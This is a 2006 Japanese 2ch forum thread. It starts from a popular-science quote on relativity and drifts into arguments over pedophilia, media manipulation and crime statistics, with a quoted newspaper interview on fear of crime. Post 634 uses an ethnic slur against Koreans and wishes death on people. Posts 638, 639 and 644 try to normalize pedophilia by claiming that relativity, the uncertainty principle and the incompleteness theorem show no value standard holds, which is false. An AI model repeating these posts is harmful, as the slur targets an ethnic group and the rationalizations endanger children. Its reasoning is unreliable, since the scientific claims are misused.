この測定には厄介な点が数多くあって、再現がむずかしく、最初の実験
の信頼性には疑問が投げかけられた。
にもかかわらず、この四十年間に技術の進歩を利用したさまざまな実験が
行われて、一般相対性理論の数多くの側面がたいへんな精度で検証されており、
一般相対性理論の予測は一様に確証されている。
アインシュタインによる重力の記述が特殊相対性理論と両立するばかりか
、ニュートンの理論よりも実験結果に近い予測を生み出すことに、もはや
何の疑いもない。
(これは一般相対性理論)

「エレガントな宇宙」ブライアン・グリーン

634 :テレビ局各社は現在も盗聴中:2006/10/19(木) 01:06:27 ID:6qDlMyMr
はいはい今日もまた警告ですよ
変態集団ストーカーのキチガイ無能チョンやその他の
書き込みは禁止ですよ
さっさと天国の北に還って薬に浸かっていてくださいね
はいはい、帰った帰った
もしくは、死ね死ね

635 :名無しさんの主張:2006/10/19(木) 01:09:34 ID:???
こうしてロリコン派は論破されました

636 :名無しさんの主張:2006/10/19(木) 01:12:53 ID:???
スレ違いにもほどがあるな。
相対性理論そのものの話など誰もしていない。

637 :名無しさんの主張:2006/10/19(木) 01:21:33 ID:OKgm/9sk
>>636
いや、アインシュタインも迫害されたかのように書いてあったからね。
別に常識に反する言論が難しかった中世などとは違う、ということ。

638 :名無しさんの主張:2006/10/19(木) 01:28:15 ID:???
ではこちらも関連事項に絡めさせてもらおう。

まず、アンチは相対的価値観を持つ人間=ロリコンという存在を認めていない。
相対性理論を否定しているようなものである。

次に、様々な価値観があるからこそ、無限の可能性が広がっていく。
これは不確定性原理という宇宙の法則だが、
これも少女やロリコンの言動を縛り付けることでアンチは否定している。

次に、不完全性定理というものがある。
これは絶対的に正しい価値基準など存在しないことを示しているが、
相対性理論と被るところがあるものの、
アンチは単に既存の価値観を述べているだけであり、それを少しも疑っておらず、
ここで述べられた基準を検討しない時点でこれを否定している。

よって非論理的である。

639 :名無しさんの主張:2006/10/19(木) 01:35:58 ID:???
>>631
は単に既存の価値観が正しいと述べているだけだろう。
それならば始めから
「現在、ロリコンは認められていない」
ですむ話。

そこに疑問を投げ掛けているのに、
「今はだめだから」
と繰り返すばかりで、少しもここであげた主張を検討していない。

既存の価値観に疑問を投げ掛けているのだから、それに答えて頂きたい。
今の価値観を例にあげるのではなく、どう論理的にここの主張が誤りであるのか、
明確に書いてもらわなければ仕方がない。

640 :名無しさんの主張:2006/10/19(木) 01:59:25 ID:OKgm/9sk
>>638
意味不明。
相対論は理論的に証明され、後に実証されたこと。
ロリコンが性倒錯ではない、という主張は証明されてはいない。
だからアンチロリコンなるものが、アンチ相対論と同じとは
いえない。

>>639
既存の価値が正しいなどとは主張していません。
偏見や、子供の権利などの観点から規制されているんじゃないか
そして、その偏見は、深層心理学の影響ではないか、また
その影響は、性倒錯説が反証されていないからではないか
そうだとすると、そのような偏見がもたれるのはやむをえない
のではないか、と言ってるだけです。

641 :名無しさんの主張:2006/10/19(木) 02:02:08 ID:OKgm/9sk
もし、深層心理学の学説が「既存の価値」ということになるなら
別にそれが正しいと主張しているわけではなく、それが反証でき
れば、その方面からの偏見はなくなるかもしれないが、それが
できていない現状では、偏見がもたれての仕方がないのではないか?
ということ。

642 :名無しさんの主張:2006/10/19(木) 02:14:01 ID:???
前半については単なる例えだろう。
相対性理論は相対的価値観の例え、それ以外にも価値観を例えたもの。

後はは>>399と同じだな。
「深層心理学会の連中にこのスレを見せて検討してもらえ」
と言いたいのか?

643 :名無しさんの主張:2006/10/19(木) 02:22:52 ID:OKgm/9sk
>>642
そうじゃなくて、これが原因で偏見があるなら、やむをえないし
その偏見をなくしたいとロリコンが望むなら、まず学問的アプローチ
で深層心理学の学説を否定する道は避けられないんじゃないか?
ということ。

644 :名無しさんの主張:2006/10/19(木) 02:37:51 ID:???
心理学なんてユングなんかはオカルトに片足突っ込んでたようなもので、
穴はいっぱいありそうだが。
それにリチャード・グリーン?等、
ペドフィルは異常でないと主張している人も少なからずいるらしいな。
加えてネットでの既存の概念への反証がたいして意味を成さないとすると、
ネットによる極端な権力の自浄作用などたかが知れているのでは。
面倒な人が来そうだが。
現に、日本よりネットが普及しているというお隣の国が嫌われるのは、
幼少の頃に受けた政府主導による反日教育を、
そのまま盲信しているからではないのか。
いかに非論理的な主張と言えども、心理面は複雑だ。
根付いた価値観を変えるのは、
仮に、正しく新たな主張だとしてもアインシュタインのようにはいかないだろうな。

645 :名無しさんの主張:2006/10/19(木) 02:43:01 ID:OKgm/9sk
>>644
ユングよりか主流になってるのはフロイトじゃないかな。
深層心理学の分野では。

646 :名無しさんの主張:2006/10/19(木) 02:45:22 ID:OKgm/9sk
>>644
ただ、反証となると難しいらしいよ。
深層心理学自体が別に証明された事実でもないし。

647 :名無しさんの主張:2006/10/19(木) 02:46:49 ID:OKgm/9sk
ようするに、潜在意識を持ち出せばなんでも説明可能だから便利な
理論、って感じじゃないですかね。
これも偏見かもしれないけど、ある認知心理学者はそう言ってる。

648 :名無しさんの主張:2006/10/19(木) 02:50:36 ID:???
よって現代の人々に魔女狩りを行わせるのは可能

649 :名無しさんの主張:2006/10/19(木) 02:55:24 ID:???
なによりガッカリしたのは、私以外に、
ほとんどのロリコンが論理的に既存の概念に疑問を投げ掛けることがなかったこと。
こんなんじゃ心理学の否定などできるはずもない、
いや、する奴がいない。
ID晒せば多勢に無勢の構図が見て取れただろう。
そうすれば感情論による批判も増すだけ、
望んだ話し合いなどできるはずもない。

650 :名無しさんの主張:2006/10/19(木) 02:56:35 ID:???
深層心理学自体が曖昧なら、
こちらも仮説としてエマニュエル・スウェーデンボルクみたいに、
性心理学とか新しい学問でも打ち立てるか。

どうせ誰もやらないだろうな。

651 :名無しさんの主張:2006/10/19(木) 02:57:05 ID:OKgm/9sk
>>648
魔女狩りは科学的に否定できることだから無理。

652 :名無しさんの主張:2006/10/19(木) 02:57:54 ID:OKgm/9sk
>>650
発想自体はいいんじゃないですか?

653 :名無しさんの主張:2006/10/19(木) 03:00:26 ID:???
>>651
だからできるんだって
みんながみんな論理的な思考力と科学的な知識、最も正論なものを識別する能力があるわけじゃないんだから。
大衆の知識の無さや感情につけこんでエセ科学を信じさせることは可能

654 :名無しさんの主張:2006/10/19(木) 03:08:30 ID:OKgm/9sk
>>653
だから、反証できないことならともかく、魔女狩りなんて現在では
反証できるし、中世と違ってそれが許されているんだから、そんな
誤った知識が一般化することはないって。

655 :名無しさんの主張:2006/10/19(木) 03:11:11 ID:OKgm/9sk
たとえば、神の存在。
神の存在を否定することはできない。
だから信じる人が多い。
しかし、反証可能なものは違う。

656 :名無しさんの主張:2006/10/19(木) 03:13:28 ID:???
>>654
現代の魔女狩りを行わせる人たちにとって反証できるかどうかは大した問題じゃない。
反証されているものができるだけ大衆の目の届かないようにすべきかどうかだ
いくらその反証が正論でも大衆の目に入らなければそんなものは意味をなさない
そのスキに魔女狩り厨は大衆の憎悪を扇動すればいいだけなんだから。
洗脳された大衆にとって論理的な反証なんて聞く耳持たないだろ
彼らはそんな能力も欠如しているしそもそも憎悪を論理で抑えることなんてできない

657 :名無しさんの主張:2006/10/19(木) 03:16:37 ID:OKgm/9sk
>>656
だから、中世ならともかく、そんな反証を衆目の目にさらさないような
ことができるとは思えない。
戦前の日本だって政府批判はできたわけだし、今だって朝日新聞のような
反権力新聞もあるわけだから。

658 :名無しさんの主張:2006/10/19(木) 03:17:03 ID:???
また大衆にとって論理的かどうかなんてものはどうでもいいこと
自分達の憎悪にマッチングしたものであるかどうかだけ
今は魔女狩りの心配が無いなんて大間違いだ
「科学的なものであるかのように”見せる”」ことなんていくらでもできるんだから

659 :名無しさんの主張:2006/10/19(木) 03:19:50 ID:OKgm/9sk
たしかに、権力側が一方の論理だけが流れるように操作できるなら
洗脳も可能かもしれないけど、しかし現代社会ではそれは難しいし
海外メディアの情報なども入ってくる。
それに、そのような可能性を論じても陰謀論の域を出ないし。

660 :名無しさんの主張:2006/10/19(木) 03:20:49 ID:OKgm/9sk
>>658
証明された事実があるのに、その正反対に認識させた例って何かあります?

661 :名無しさんの主張:2006/10/19(木) 03:23:02 ID:???
>>657
できるよ
日々の仕事に追われてあくせく忙しく疲れている大衆が、
本当に科学的なものかどうか識別するヒマも意欲も能力も無い
目に入ったものしか信じないのが大衆だ。大衆が本当に科学的かどうか確認するために
いちいちネット等で調べると思うのか。せいぜい休日か仕事の帰りに趣味程度にしか使わないのに。

662 :名無しさんの主張:2006/10/19(木) 03:24:18 ID:OKgm/9sk
>>661
戦後の日本でそのようなことがあったとは思えませんが、あったとすれ
ばどの事例ですか?

663 :名無しさんの主張:2006/10/19(木) 03:24:29 ID:???
私は>>656の言うとおりだと思う。
結局は衆愚政治だ。

654:名無しさん@恐縮です :2006/08/18(金) 20:07:17 ID:7FH1tY/AO
興味ないものには近づかず迷惑かけず、
自分の好きな分野を趣味の合う人と楽しんでれば世の中明るいのに、
わざわざ、
「こんな人たちがいます、嫌いな人は叩きましょう」
みたいな趣味の合わない人に見せつけて騒ぎを起こし、
報道材料にするのはマスコミの常套手段じゃないの。
最近は2チャンネラがそうなってきてる気がするけど。


91:朝まで名無しさん :2006/08/17(木) 01:07:53 ID:zNnTqDVn [sage]
マスゴミの愚劣さは言うまでもないが、
2ちゃんもすっかりプロパガンダの場となりはてたね。
ネットの力に権力の手先の連中や
無知なDQNが気づく前は2ちゃんは
個人の多様な意見や本音が生でぶつかりあう梁山泊みたいな面白いところだったんだけどな。
今は踊ってるつもりで躍らされてるやつが多すぎ
良心的でも見知らぬ人を、不信に思ってしまう現象なら、
平成産まれの子も、たっぷりと染まっている。

664 :名無しさんの主張:2006/10/19(木) 03:26:09 ID:OKgm/9sk
>>661
それに、各紙は科学的結論を難解に書くことはありません。
ですから、ほとんどすべての新聞紙が証明された事実を書けばそれを
そのまま受け入れて、逆の思い込みを持つことはないと思います。

665 :名無しさんの主張:2006/10/19(木) 03:29:27 ID:???
>>659
いちいち本当に科学的かどうかなんて海外メディアまで使って吟味するほど大衆は賢くない

>>664
それだよ
「それに、各紙は科学的結論を難解に書くことはありません」
日々の仕事に疲れている大衆にとって求められているのは「難解な論文」じゃなく「完結な結果」だ
疲れている大衆がわざわざ「証明された事実」を全部すみからすみまで吟味すると思っているか?
「簡潔な結果」のみを求める大衆に間違った結果のみを突きつけて洗脳することなんていくらでも可能

666 :名無しさんの主張:2006/10/19(木) 03:33:08 ID:OKgm/9sk
>>665
科学的に証明した事実を、反対の結果だと判断させるような記事は
書かないわけで、事実を知らせたからといって洗脳とはいえないような
気がします。
魔女狩りのような科学的に否定されるようなことを大衆に信じさせる
ことは難しい、という話ですから。

667 :名無しさんの主張:2006/10/19(木) 03:34:26 ID:???
>>664
大衆の愚かさを知らないようなお前は大衆よりも愚かだよ
ネットなんてもはやプロパガンダにすら使われてきている

668 :名無しさんの主張:2006/10/19(木) 03:36:24 ID:???
>科学的に証明した事実を、反対の結果だと判断させるような記事は書かない
科学的に証明 ”されたかのような” 虚構を、反対の結果だと判断させるような記事は書かない

>魔女狩りのような科学的に否定されるようなことを大衆に信じさせる
>ことは難しい、という話ですから
「あたかも科学的であるようなエセ科学」を信じさせることなんて可能

669 :名無しさんの主張:2006/10/19(木) 03:38:04 ID:???
475:名無しさん@6周年 :2006/09/27(水) 18:55:49 ID:nEBjuJEkO
民主主義=衆愚政治になりつつある。
もはや、ニュー速なんて猿みたいな感情論を、事実より重視する糞板。
「こういう犯罪が多発してる」とか「物騒になった」とか、
全部マスコミのコピー発言、自分の意見のない猿共。
このネット社会じゃ事実のソースを引っ張ってくるのも簡単だし、
少し調べりゃマスコミの偏向報道もわかるのに、
例えば、ロリコン犯罪が増えていると思い込んでる者や、
他人による子殺しが多発してると信じ込んでる者に、
ロリコン犯罪の低下、
他人による殺人より親による子殺しが多いという事実を提示したところで、
スレの流れが変わったためしはない。
子どもを守れとか言いながら、こいつらの優先順位は、
自分の感情>親>>>>>子供。
そうこうしてる間に虐待は統計とり始めてから最悪になってしまった。
こうした傾向はあらゆるニュー速のスレに見られる。
事実より感情を優先するならネットを使う意味なし、
おばちゃんの世間話がネットに広がっただけ。
一生マスコミに騙されてろよ、もはや司法も国民も存在価値はない、
政治も裁判もマスコミが決めて、衆愚は命令に従うだけなのだから。

670 :名無しさんの主張:2006/10/19(木) 03:38:24 ID:OKgm/9sk
>>668
実際にはそれは科学的には証明されていないなら、各紙がそれを
証明された事実であるかのように書かないし、なぜかというと
そのことを指摘できる科学者もいるからです。

671 :名無しさんの主張:2006/10/19(木) 03:39:17 ID:OKgm/9sk
>>667
ネットで大衆が何を常識だと考えるようになったんですか?

672 :名無しさんの主張:2006/10/19(木) 03:40:45 ID:???
ttp://www.amazon.co.jp/exec/obidos/ASIN/4140880368/

>実際にはそれは科学的には証明されていないなら、各紙がそれを
>証明された事実であるかのように書かないし、なぜかというと
>そのことを指摘できる科学者もいるからです

いるから何?その科学者の見解が大衆に知れ渡らない限り
大衆はそのエセ科学に騙されたままだよ

現代の魔女狩りを行わせる人たちにとって反証できるかどうかは大した問題じゃない。
反証されているものができるだけ大衆の目の届かないようにすべきかどうかだ
いくらその反証が正論でも大衆の目に入らなければそんなものは意味をなさない
そのスキに魔女狩り厨は大衆の憎悪を扇動すればいいだけなんだから。
洗脳された大衆にとって論理的な反証なんて聞く耳持たないだろ
彼らはそんな能力も欠如しているしそもそも憎悪を論理で抑えることなんてできない

673 :名無しさんの主張:2006/10/19(木) 03:42:10 ID:OKgm/9sk
現在では、共産主義国のように情報統制でもしないかぎり、間違った
知識を全体に植えつけて社会通念にしてしまう、というのはなかなか
できるものじゃないと思うが。
じっさいにそのような事例もあるとは思えないし。

674 :名無しさんの主張:2006/10/19(木) 03:42:32 ID:???
>>671
試しにお前ニートについて何か言ってごらん

675 :名無しさんの主張:2006/10/19(木) 03:43:51 ID:OKgm/9sk
>>672
たとえば、朝日新聞が間違ったことを伝えた場合、産経新聞がそれを
報じます。
だから、一つの間違った通念を植えつけるなどできるものじゃありませんありません。

676 :名無しさんの主張:2006/10/19(木) 03:44:31 ID:???
>>673
確かに情報は氾濫してる
だが問題は大衆がその氾濫した情報を隅から隅まで見通し、正しい情報か吟味仕切れていないということだ
そして大衆は自分の感情に沿った情報しか見ようとしない身勝手な連中だということだ

677 :名無しさんの主張:2006/10/19(木) 03:44:36 ID:OKgm/9sk
>>674
興味がないので、言うことはありませんけど…。

678 :名無しさんの主張:2006/10/19(木) 03:45:51 ID:OKgm/9sk
>>676
情報が氾濫してるからこそ、多様な認識が生まれるわけで、情報統制
なしに誤った認識を植えつけることは困難なわけで。

679 :名無しさんの主張:2006/10/19(木) 03:48:45 ID:???
>たとえば、朝日新聞が間違ったことを伝えた場合、産経新聞がそれを報じます。

報じなかったら?両方とも間違った見解しか持っていなかったら?
そして産経新聞がその朝日新聞の間違いに気付かなかったら?

大衆が新聞を間違ってるかどうか確認するためにわざわざ少ない自由時間を投じて
きょうみの無いものをわざわざ調べることは無い
あるアニメの情報誌が「DBのフリーザの最大戦闘力は53万です」と書いてあるのを見て
興味の無い人がわざわざそんな合否を調べるわけがない

680 :名無しさんの主張:2006/10/19(木) 03:51:14 ID:OKgm/9sk
たとえば現在のマスコミの特徴として、ある流れができたなら、それを
落とすようなセンセーショナルな情報を与えたがります。
もしそれが科学的にはっきりしたものなら、さすがにそれを否定するよう
な記事は書けないですけど、曖昧な、否定可能なものなら否定する記事
を書きますからね。
いい加減な情報を与えて全体に定着させるというのは困難でしょう。

681 :名無しさんの主張:2006/10/19(木) 03:52:03 ID:???
>>678
情報が氾濫していることと多様な認識が生まれることとは別問題
間違った認識なんて興味の無いもの(調べる意欲の無いもの)や知識の無さでどんどん埋めていってしまう
それが大衆

>>677
その「興味の無さ」「知識の無さ」に付け込んで、その興味の無いものを不気味に描くことで
不安を掻き立て、憎悪を肥大化させ、「現代の魔女狩り」を行わせるのがマスゴミ

682 :名無しさんの主張:2006/10/19(木) 03:52:53 ID:OKgm/9sk
>>679
正論を吐く科学者もいるのに、全部の新聞が同一に誤った記事を書き、
それを訂正しないというのはないでしょう。
教科書誤報事件のときにも産経新聞などは訂正してますしね。

683 :名無しさんの主張:2006/10/19(木) 03:53:46 ID:???
>>680
いいからニートについて何か言え
最近ニートが飛躍的に増加している問題をどう見る?

ところでプテラノドンという恐竜についてどう思う?
なにか言え

684 :名無しさんの主張:2006/10/19(木) 03:54:17 ID:OKgm/9sk
>>681
不安を煽る記事を書き、その書かれた内容が事実なら誤ったことを
刷り込んでいることにはならないでしょう。


685 :名無しさんの主張:2006/10/19(木) 03:54:59 ID:OKgm/9sk
>>683
いや、何の知識もないことについて、適当な発言はしたくないですから。

686 :名無しさんの主張:2006/10/19(木) 03:55:41 ID:???
>>684
事実なら、な
だが間違いだったらどうするんだ?
誰がわざわざ訂正されたものを見るんだ?

687 :名無しさんの主張:2006/10/19(木) 03:56:20 ID:OKgm/9sk
>>686
間違ったことなら、それを否定する知識人がいるし、他紙がそれを
すっぱ抜くでしょう。

688 :名無しさんの主張:2006/10/19(木) 03:56:46 ID:???
>>685
いいから言え
お前は既に何の知識もないことについて、適当な発言をしているんだ
また何の知識もないことについて、適当な発言をする権利は認められている
それが学説とかで発表することじゃない限りな

689 :名無しさんの主張:2006/10/19(木) 03:56:52 ID:OKgm/9sk
>>686
それと、記事を読むなら、普通訂正記事も見ますが…。

690 :名無しさんの主張:2006/10/19(木) 03:57:52 ID:OKgm/9sk
>>688
何の知識もないニートについてコメントを求められても困るんです。
そんな無責任なことはしたくないので。

691 :名無しさんの主張:2006/10/19(木) 03:58:02 ID:???
>>687
何度も言わせるな
大衆はその否定する知識人の言うことより
自分達に耳障りのいい人の言うことしか聞かない
他紙がそれをすっぱ抜くということも絶対にそうなるわけではない

692 :名無しさんの主張:2006/10/19(木) 03:59:40 ID:???
>>689
大衆はそんなところまで見ない
興味の無いことについて


>>690
お前は既に大衆の無知さへの無知を暴露してるだろが
今更ニートなんてどうってことない

693 :名無しさんの主張:2006/10/19(木) 03:59:56 ID:OKgm/9sk
>>691
耳障りのいいことだけ受け入れる人も中にはいるかもしれませんが
そうではない人もいます。
だからこそ、全体主義国のような洗脳はできない。
もしできるなら、実例をあげてもらえますか?戦後の日本で。

694 :名無しさんの主張:2006/10/19(木) 04:00:44 ID:OKgm/9sk
>>692
私は知らないだけで、ニートについて間違った知識を植えつけられて
などいませんが…。

695 :名無しさんの主張:2006/10/19(木) 04:01:18 ID:???
>>693
全体主義じゃない。集団主義だよ


>耳障りのいいことだけ受け入れる人も中にはいるかもしれませんが
>そうではない人もいます。
その一割の人の意見をどうやって身勝手な九割に勝たせるんだ

696 :名無しさんの主張:2006/10/19(木) 04:01:59 ID:???
>>694
いいからお前が知ってる範囲でニートについて言え
何でもいいから知ってること全部だ

697 :名無しさんの主張:2006/10/19(木) 04:02:22 ID:OKgm/9sk
>>695
情報統制で一つの考え方に集約させるのを全体主義といいます。
日本では多様な意見が許されるので、そのようなことはできないでしょう。

698 :名無しさんの主張:2006/10/19(木) 04:02:47 ID:???
21:元東京都治安対策担当部長の証言1/3 :2006/10/18(水) 23:52:00 ID:JDRQiwZO [sage]
治安悪化説に異論

 少年による凶悪犯罪が増えるなど日本の治安は悪化しており、今や危機的状況にある−。そう
思っている人は多いのではないだろうか。本社加盟の日本世論調査会が今月行った意識調査で
も、八割の人が「治安は悪くなっている」と答えた。こうした「治安悪化説」に疑問の声が飛び出し
た。異論の主は、久保大・元東京都治安対策担当部長(60)。昨春まで都の緊急治安対策本部
の副本部長だった治安対策のプロだ。「治安悪化説」や、それに基づく行政施策のどこに問題が
あるのか、久保さんに聞いた。 (社会部・加古陽治)

 ――「治安の悪化」について盛んにいわれるが、実際はどうなのか。

 「統計数値を根拠に、最近になって犯罪が増えているというのは一種の錯覚。例えば犯罪の認
知件数は被害者が届けるかどうか、警察が面倒くさがらずに受け付けるかどうかで増減する」

 「犯罪件数は氷山と一緒で、全体の大きさは変わらなくても(警察や人々が)水位を上下させる
ことで、水面に出ている部分が大きく見えたり小さく見えたりする」

699 :名無しさんの主張:2006/10/19(木) 04:04:13 ID:OKgm/9sk
>>696
耳障りのいいことだけしか読まない人はそれほど多いと思いません。
また、他紙では他のことも書いているなら、議論になるでしょう。
南京虐殺論なんかがいい例ですね。

700 :名無しさんの主張:2006/10/19(木) 04:05:20 ID:???
パンは危険な食べ物のガイドライン 2斤
http://ex13.2ch.net/test/read.cgi/gline/1109204699/2

2:水先案名無い人 :05/02/24 09:25:21 ID:xIAa2C7b0 [sage]
1997年、ネイサン・ゾナー君という14歳の少年が書いた
「我々はどのようにしてだまされるのか」というタイトルのレポートが科学フェアで入賞し、
マスコミにも取り上げられて話題を呼びました。
彼はDHMOという化学物質の害を指摘し、この物質の使用規制を求めて周囲の50人の大人に署名を求め、うち43名のサインを得ることに成功したのです。
彼の挙げたDHMOの危険性は、

(1)酸性雨の主成分であり、温室効果を引き起こすことも知られている

(2)多くの場合、海難事故死者の直接の死因となっている

(3)高レベルのDHMOにさらされることで植物の成長が阻害される

(4)末期癌の腫瘍細胞中にも必ず含まれている

(5)この物質によって火傷のような症状が起こることがあり、
   固体状態のDHMOに長時間触れていると皮膚の大規模な損傷を起こす

(6)多くの金属を腐食・劣化させる

(7)自動車のブレーキや電気系統の機能低下の原因ともなる

といったものです。

701 :名無しさんの主張:2006/10/19(木) 04:06:04 ID:OKgm/9sk
>>698
意味不明な理由で犯罪を犯す人や、昔では考えられなかったことが
理由で犯罪を犯す人間が増えたような気はしますけど。


702 :名無しさんの主張:2006/10/19(木) 04:07:34 ID:???
>>699
お前は「大衆」というものについての知識が欠如している
何の知識もないことについて、適当な発言はしたくないというならまずお前は大衆の愚かさについて勉強して来い
このままじゃお前ゴネだけで議論にならん
お前は「無責任」だ、何の知識もない大衆についてずばずばコメントしてるんだから

703 :名無しさんの主張:2006/10/19(木) 04:07:54 ID:OKgm/9sk
>>700
それを大規模にやれば、科学的反論なども出てくるでしょうし
そうなれば、誤った意見に騙されない人も多くなるでしょう。

704 :名無しさんの主張:2006/10/19(木) 04:09:30 ID:???
少年犯罪が近年急増したというのは、マスコミが捏造した世論です。
ttp://mazzan.at.infoseek.co.jp/lesson2.html

705 :名無しさんの主張:2006/10/19(木) 04:09:51 ID:OKgm/9sk
>>702
実際問題、そのような事例が日本にありますか?
あれば認めるかもしれませんが。
いったい、どのような間違いが刷り込まれてるんですか?

706 :名無しさんの主張:2006/10/19(木) 04:11:12 ID:???
>>705
今日の夜か明日の夜かまでにごっそり用意してやるから待ってろ

707 :名無しさんの主張:2006/10/19(木) 04:11:43 ID:OKgm/9sk
>>706
楽しみにしています。

708 :名無しさんの主張:2006/10/19(木) 04:15:23 ID:???
それまでスレは大事にとっておけ
お前の「大衆」への無知さをイヤというほど自覚させてやる
恥ずかしさのあまり二度と2chに来れなくなるくらいにな
再び社会を語るのが恥ずかしくなるくらい自覚させてやるから

709 :名無しさんの主張:2006/10/19(木) 04:16:38 ID:OKgm/9sk
>>708
楽しみにしてます。
妄想でないことを期待して。
さてさて、戦後の日本人は、どのくらい誤った知識を植えつけられて
いるんでしょうか。

710 :名無しさんの主張:2006/10/19(木) 04:51:35 ID:???
耳障りのいいことだけしか読まない人が多いと思います。

711 :名無しさんの主張:2006/10/19(木) 05:01:01 ID:???
【サブカル叩き】表現の自由は誰のモノ【大谷昭宏55】
http://news18.2ch.net/test/read.cgi/news2/1161139076/21-23

712 :名無しさんの主張:2006/10/19(木) 05:16:45 ID:OKgm/9sk
質問一
罪が重すぎて逆に犯罪が増えたという珍説の根拠は何?
質問二
どこらへんがレッテル?
質問三
アメリカが「伝説の高校」をモデルにしたという話の根拠は?
質問四
「すこぺっそす」って何?

332 :名無しさんの主張 :2006/10/15(日) 06:17:08
>>330
余計なルールは厳守する必要なし
個人の尊厳を奪うルールは全部死ね


335 :名無しさんの主張 :2006/10/15(日) 06:18:15
社会という馬鹿の判断で有益かどうか考えて好き勝手にやらせても個人の尊厳は
守られないんだよ。

713 : ̄ ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄:2006/10/19(木) 05:18:47 ID:EfHV4REE
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714 :名無しさんの主張:2006/10/19(木) 05:19:29 ID:???
21 名前: 元東京都治安対策担当部長の証言1/3 [sage] 投稿日: 2006/10/18(水) 23:52:00 ID:JDRQiwZO
治安悪化説に異論

 少年による凶悪犯罪が増えるなど日本の治安は悪化しており、今や危機的状況にある−。そう
思っている人は多いのではないだろうか。本社加盟の日本世論調査会が今月行った意識調査で
も、八割の人が「治安は悪くなっている」と答えた。こうした「治安悪化説」に疑問の声が飛び出し
た。異論の主は、久保大・元東京都治安対策担当部長(60)。昨春まで都の緊急治安対策本部
の副本部長だった治安対策のプロだ。「治安悪化説」や、それに基づく行政施策のどこに問題が
あるのか、久保さんに聞いた。 (社会部・加古陽治)

 ――「治安の悪化」について盛んにいわれるが、実際はどうなのか。

 「統計数値を根拠に、最近になって犯罪が増えているというのは一種の錯覚。例えば犯罪の認
知件数は被害者が届けるかどうか、警察が面倒くさがらずに受け付けるかどうかで増減する」

 「犯罪件数は氷山と一緒で、全体の大きさは変わらなくても(警察や人々が)水位を上下させる
ことで、水面に出ている部分が大きく見えたり小さく見えたりする」

 ――なのになぜ「治安の悪化」という言葉が独り歩きしたのか。

 「ベストセラーを生むためには、作者のほかにその作品を売り込む者も必要だ。あえて作者を
挙げるとすれば警察。警察は財務省から予算と人員を獲得したり、存在感を高めたりするため
に『治安の悪化』という言葉を持ちだし、利用した。マスメディアも好んでそれを語り、支持した」

715 :名無しさんの主張:2006/10/19(木) 05:20:23 ID:???
22 名前: 元東京都治安対策担当部長の証言2/3 [sage] 投稿日: 2006/10/18(水) 23:53:03 ID:JDRQiwZO
 ――必ずしも事実とはいえない言説が一般に受け入れられた背景は。

 「所得格差が拡大したり雇用に不安があったりして、人々の間に漠然とした不安感・閉塞(へい
そく)感が背景にあるのだろう。実際はよく分からないのに『犯罪が増えている』と言われると納得
してしまう。『川沿いをジョギングしていた女性が外国人に襲われた』というたぐいの都市伝説(デ
マ)と同じ構図だ。誰によって作られ、どのように広まってきたのかを説明することは難しいが、こ
れも外国人に対する漠然とした不安感があったからこそ広まった」

 ――「治安の悪化」という言葉の広がりは、行政の施策にどのような影響を及ぼしたのか。

 「全国の自治体に広がっている施策は、ほとんどが的外れであり、時には有害でさえある」

 「政策には必ず光と影の部分がある。政策を担うものは光と同時に影の部分も自覚し、その政
策の当否を判断しないといけない。そこに公的な力の自制が生まれる。しかし、こと『治安』につ
いては、そうした配慮は一顧だにされない。まるで何かの強迫観念に取りつかれているかのよう
だ」

 「その結果、これまで行政や法律が介入しないことを基本としていた領域、倫理・道徳の領域へ
の規制や指導が正当化されるようになった。例えば、電車内で痴漢をするのは犯罪で、携帯電
話で大声で話すのは“音の暴力”になるから指導の対象にするのは分かるが、今や女性が化粧
をすることまで“善導”の対象にされようとしている。しかし、これは誰かが直接被害を受けるわけ
ではない。不愉快な行為ではあっても、行政が介入すべきことではない」

716 :名無しさんの主張:2006/10/19(木) 05:21:11 ID:???
23 名前: 元東京都治安対策担当部長の証言3/3 [sage] 投稿日: 2006/10/18(水) 23:54:32 ID:JDRQiwZO
 ――担当部長時代に、違和感を持ちながら仕事をしていたとか。

 「犯罪の抑止に関して即効的な成果を追求するのは警察の役割だ。行政施策は、背後の要
因、負の要因を取り除くことにあるべきだが、私が都の治安対策担当部長になったとき、警察側
によって既に施策が用意されていた。外国人とか少年、ニートなど、次々とスケープゴートにして
は、人々の関心や社会の憤りを向ける施策がとられた」

 ――それで辞めてから本を書いたと。

 「都の内部でも、いつの間にか自由に異論を言える雰囲気は失われていた。ましてや警察批判
につながりかねない発言となれば、語るためには辞めなければならなかった」

 くぼ・ひろし 1946年、東京生まれ。70年から東京都に勤める。都立教育研究所次長、大学
管理本部調整担当部長などを経て2003年8月から05年3月まで警察庁出身の竹花豊・前副
知事(現警察庁生活安全局長)の下で治安対策担当部長(東京都緊急治安対策本部副本部
長)。近著「治安はほんとうに悪化しているのか」(公人社)で、流布される「治安悪化説」や道徳・
倫理への公権力の介入に疑義を唱えた。
ttp://www.tokyo-np.co.jp/00/kakushin/20060925/mng_____kakushin000.shtml

『治安はほんとうに悪化しているのか』
ttp://www.amazon.co.jp/gp/product/4861620252

717 :名無しさんの主張:2006/10/19(木) 05:22:07 ID:???
※有害指定は、正確には18禁ではありません。
条文上はそうなってますが、 実質的に発禁に追い込まれてしまいます。
東京都青少年問題協議会
ttp://www.seikatubunka.metro.tokyo.jp/index9files/25ki/25tousin_honbun.pdf
東京都青少年問題協議会第三回専門部会
ttp://www.seikatubunka.metro.tokyo.jp/index9files/25ki/25bk3giji.pdf
「有害」規制に関する用語集
ttp://hp1.cyberstation.ne.jp/straycat/watch/terms/obigami.htm

1.上記サイトにあるように、不健全指定されるとただの18禁ではなく一般流通ルートに載らないために事実上発禁状態になる。
18禁のように見えますが、実態は公権力による検閲に匹敵することができる。
このようなゾーニングはゾーニングの範囲を越えている。
上記サイトより
>(5)東京都青少年健全育成審議会は、連続3回または年通算5回「不健全」指定を行うことで、
>その雑誌類を休刊に追い込むことが可能である。

2.1の結果、成人の知る権利も大きく制限される(不健全指定=事実上の発禁状態)。

3.ゾーニングのやりすぎ、濫用の問題。以前なら子供も読んでいた、たいしたことない表現まで
18禁などになった場合、子供の権利が不当に侵害されるだけでなく、制作側が18歳未満も購買層と考えてた場合、
制作側の利益も侵害することになるし、18歳未満を購買層と絶対考えないケース以外は
萎縮して自由に作れなくなる恐れ。
4.もともと悪影響に根拠がないために、客観的評価・分析ができないから
歯止めがかからず 政治的表現・歴史研究にまで拡大する恐れ(外国のケース「親日派のための弁明事件」)
